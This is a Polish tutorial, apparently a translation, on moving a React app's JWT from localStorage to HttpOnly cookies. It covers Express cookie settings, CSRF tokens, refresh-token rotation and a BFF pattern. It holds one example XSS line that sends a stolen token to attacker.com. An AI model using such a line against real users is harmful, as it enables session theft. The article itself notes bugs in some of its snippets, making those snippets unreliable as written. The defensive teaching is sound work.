Przeniesienie tokena JWT z aplikacji React z localStorage do plików cookie typu HttpOnly
Dowiedz się, dlaczego JWT przechowywane w localStorage są podatne na wszelkiego rodzaju XSS, jak pliki cookie z atrybutami HttpOnly, SameSite oraz rotacja i BFF zmniejszają ryzyko, oraz jakie pułapki wciąż istnieją w aplikacjach React.
Źródła: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
To, gdzie aplikacja React przechowuje swój token dostępu, decyduje o tym, ile może kosztować jeden błąd typu cross-site scripting. JWT przechowywane w localStorage mogą być odczytane i wykradzione przez dowolny skrypt na stronie; te w pliku cookie typu HttpOnly nie dają takiej możliwości, chociaż one z kolei rodzą problemy z fałszerstwem żądań między stronami. Poniżej znajduje się porównanie obu opcji, konfiguracja oparta na plikach cookie z backendem Express oraz techniki rotacji, CSRF i Backend-for-Frontend, które uzupełniają tę architekturę.
Dwie opcje przechowywania, dwa modele zagrożeń
Brauzer nie odróżnia twoich skryptów od tych wstrzykniętych, dlatego dwa typowe miejsca przechowywania JWT reagują inaczej:
- localStorage jest dostępny do odczytu dla każdego JavaScriptu na tej samej domenie. Zagrożeniem jest XSS; środkami obronnymi są surowe zasady CSP oraz oczyszczanie danych.
SameSite oraz tokeny CSRF.Dlaczego localStorage przekształca XSS w przejęcie kontroli
Każdy skrypt uruchamiany na twoim domenie potrzebuje dwóch kroków, aby ukraść token:
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
Wstrzyknięty kod dociera do projektów React przez więcej ścieżek, niż zespół się spodziewa:
dangerouslySetInnerHTMLz treścią, której nie kontrolujesz.- Zainfekowane pakiety npm, jak w incydentach z
event-streamiua-parser-js. - Zmodyfikowane skrypty z zewnętrznych CDN.
- Renderery Markdown, które pomijają proces czyszczenia treści.
- Rozszerzenia przeglądarki wstrzykujące kod na stronę.
JSX ucieka się od interpolowanych ciągów znaków, ale ta ochrona znika, gdy tylko kod decyduje się na jej pominięcie, zwykle w celu wyświetlenia informacji o urządzeniu lub treści w formacie bogatego tekstu:
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
Sanitizery pomagają, jednak istnieją sposoby na ich obejście. Dla porównania oto znany klient localStorage: narzędzia do przechowywania i odczytywania tokena oraz wrapper dodający nagłówek Bearer.
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
Jest to proste rozwiązanie, które nie może być odporne na XSS, ponieważ jego architektura wymaga od JavaScriptu odczytu tokena.
Cookies HttpOnly jako standard
Serwer ustawia cookie, a każdy z jego atrybutów eliminuje określony problem:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnlyukrywa go przeddocument.cookieoraz dostępem wszystkich skryptów.Secureogranicza jego używanie do protokołu HTTPS.SameSite=Strictzapobiega przypisywaniu go do żądań wysyłanych przez inne strony.
Max-Age=900 nadaje tokenowi dostępu czas życia wynoszący 15 minut.Klient już nie dotyka tokena
React usuwa narzędzia do przechowywania oraz nagłówek. Kluczowym elementem jest credentials: 'include', który sprawia, że fetch wysyła pliki cookie. W przypadku błędu 401 mechanizm odświeżania ponawia żądanie lub przekierowuje na stronę logowania.
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
W środowisku produkcyjnym należy ograniczyć liczbę prób ponownego wysłania żądania do jednej, aby odświeżanie, które „udaje się”, mimo że API nadal zwraca 401, nie mogło trwać w nieskończoność, a także aby jedno odświeżanie mogło być współdzielone w przypadku kilku równoczesnych błędów, zgodnie z opisem w rozwiązaniu dotyczącym pojedynczego odświeżania.
Część Express
Podczas logowania serwer wydaje token dostępu ważny 15 minut oraz token odnowienia ważny 7 dni, używając do tego różnych sekretów, przechowuje hasz tokena odnowienia i ustawia oba pliki cookie. Cookie odnowienia używa wartości path: '/auth/refresh', dzięki czemu trafia tylko do tego endpointu. Procesor odnowienia weryfikuje JWT, porównuje je z przechowywanym haszem za pomocą bcrypt i wydaje nowy plik cookie dostępu.
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
Zanim go ponownie wykorzystasz: zaimportuj bcrypt; pamiętaj, że token odnowienia ma z góry ustawione secure: true, podczas gdy logowanie sprawdza wartość z środowiska; ponadto res.clearCookie('refresh_token') musi również podać path: '/auth/refresh', w przeciwnym razie plik cookie faktycznie nie zostanie usunięty.
CSRF w świecie SameSite
CSRF wykorzystuje fakt, że pliki cookie są przesyłane automatycznie. Atrybut SameSite rozwiązuje większość tych problemów w przeglądarce, a przeglądarki oparte na Chromium traktują pliki cookie bez tego atrybutu jako Lax. W przypadku aplikacji typu SPA:
- Wybierz
Strict, gdy frontend i API dzielą ten sam domenę. - Wybierz
Lax, gdy użytkownicy przychodzą przez zewnętrzne linki i powinni być zalogowani już przy pierwszej nawigacji. - Unikaj opcji
None, chyba że naprawdę potrzebujesz plików cookie między stronami i rozumiesz ich konsekwencje.
„Site” oznacza zarejestrowaną domenę, więc skompromitowany poddomen jest nadal uważany za tę samą stronę.
Dodawanie tokena podwójnego wysyłania
Aby zwiększyć poziom bezpieczeństwa, serwer ustala losową wartość w czytelnym pliku cookie, React kopiuje ją do nagłówka X-CSRF-Token, a serwer odrzuca żądania, w których te wartości się różnią.
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
Strona fałszywa nie może odczytać twoich plików cookie zgodnie z zasadą same-origin, więc nie może wygenerować odpowiedniego nagłówka. Przy użyciu SameSite=Strict oraz ścisłych zasad CORS jest to często zbędne, ale stanowi tanie zabezpieczenie przed błędną konfiguracją.
Rotacja tokenów odświeżania i wykrywanie ich ponownego użycia
Krótkie tokeny dostępu w połączeniu z dłuższymi tokenami odświeżania stanowią standard, ale skradziony token odświeżania nadal umożliwia dostęp na kilka dni. Dzięki rotacji każde odświeżenie generuje nowy token odświeżania i unieważnia stary; jeśli wycofany token pojawi się ponownie, oznacza to, że ktoś go używa ponownie, a bezpieczną reakcją jest anulowanie wszystkich sesji tego konta.
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
Najpierw napraw jeden błąd: wewnątrz if (!user) kod wywołuje revokeAllUserTokens(user.id) na wartości null. Prawdziwa detekcja ponownego użycia musi znaleźć właściciela już wygasłego tokena, zazwyczaj poprzez rekord „rodziny tokenów”. Możliwe są fałszywie pozytywne wyniki, gdy dwie karty odświeżają się jednocześnie; krótki okres przejściowy pomaga w tym przypadku. przewodnik strategii tokenów odświeżających omawia dalsze aspekty z strony serwera.
Zachowywanie tokenów poza klientem za pomocą BFF
Backend-for-Frontend to lekki serwer znajdujący się pomiędzy React a rzeczywistą API:
React App → BFF (Next.js API routes / Express) → Actual API
Uruchamia procesy OAuth (Authorization Code z PKCE), przechowuje tokeny w szyfrowanych plikach cookie typu HttpOnly, radzi sobie z problemem CSRF i eliminuje większość konfiguracji CORS, ponieważ przeglądarka łączy się tylko z własnym domenem. W Next.js obsługa trasy może przekazać dane uwierzytelniające do usługi autoryzacji i przekształcić zwrócony token w plik cookie:
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
Pełna wersja przechowywałaby również token odświeżania i sprawdzała authRes.ok przed analizą. Rozwiązanie typu BFF nadaje się w przypadku używania usług OAuth od podmiotów trzecich, takich jak Google czy GitHub, gdy API znajduje się na innej domenie, jeśli chcesz oddzielić logikę autoryzacji od pliku bundle, lub jeśli już używasz Next.js.
Wybór konfiguracji
Dla większości aplikacji SPA na tym samym domenie jest to standardowe rozwiązanie:
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
Dla API międzydomenowych lub aplikacji mobilnych localStorage jest do przyjęcia tylko wtedy, gdy akceptujesz ryzyko XSS i podejmiesz kroki zaradcze w tym celu:
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
Dla najwyższych wymagań lub protokołów korporacyjnych BFF usuwa tokeny z przeglądarki:
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
Lista kontrolna dla autoryzacji opartej na plikach cookie
- Oznacz pliki cookie używane do autoryzacji jako
HttpOnly,SecureorazSameSite=Strict. - Trzymaj tokeny dostępu aktywne od 5 do 15 minut.
- Zmieniaj tokeny odświeżania z funkcją wykrywania ponownego użycia.
- Wysyłaj parametr
credentials: 'include'w każdej funkcjifetchlub wezwaniu axios. - Łącz
Access-Control-Allow-Credentials: truez wyraźnie określonym źródłem. - Nie umieszczaj plików cookie w dziennikach i analizach.
- Czyść pliki cookie po stronie serwera w endpointzie
/logout, opcjonalnie z użyciem parametruClear-Site-Data: "cookies". - Mimo wszystko włącz politykę bezpieczeństwa treści.
Zaawansowana odpowiedź może zawierać następujące nagłówki:
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
Cookies typu HttpOnly nie czynią XSS nieszkodliwym: wstrzyknięty skrypt nadal może wysyłać autoryzowane żądania, dopóki strona jest otwarta. Nie może jednak zabrać ze sobą tokena i użyć go gdzie indziej. Ta różnica, w połączeniu z krótkim czasem trwania i rotacją, sprawia, że cookies są odpowiednim standardem dla aplikacji internetowych, choć nadal wymagana jest z nimi współpraca CSP. CSRF jest w dużej mierze kontrolowane za pomocą atrybutu SameSite oraz opcjonalnego tokena podwójnej wysyłki, natomiast XSS pozostaje stałym zagrożeniem w kodzie React opartym na wielu zależnościach. Gdy autoryzacja między domenami utrudnia korzystanie z cookies, lepiej stworzyć małe BFF zamiast uciekać się do localStorage.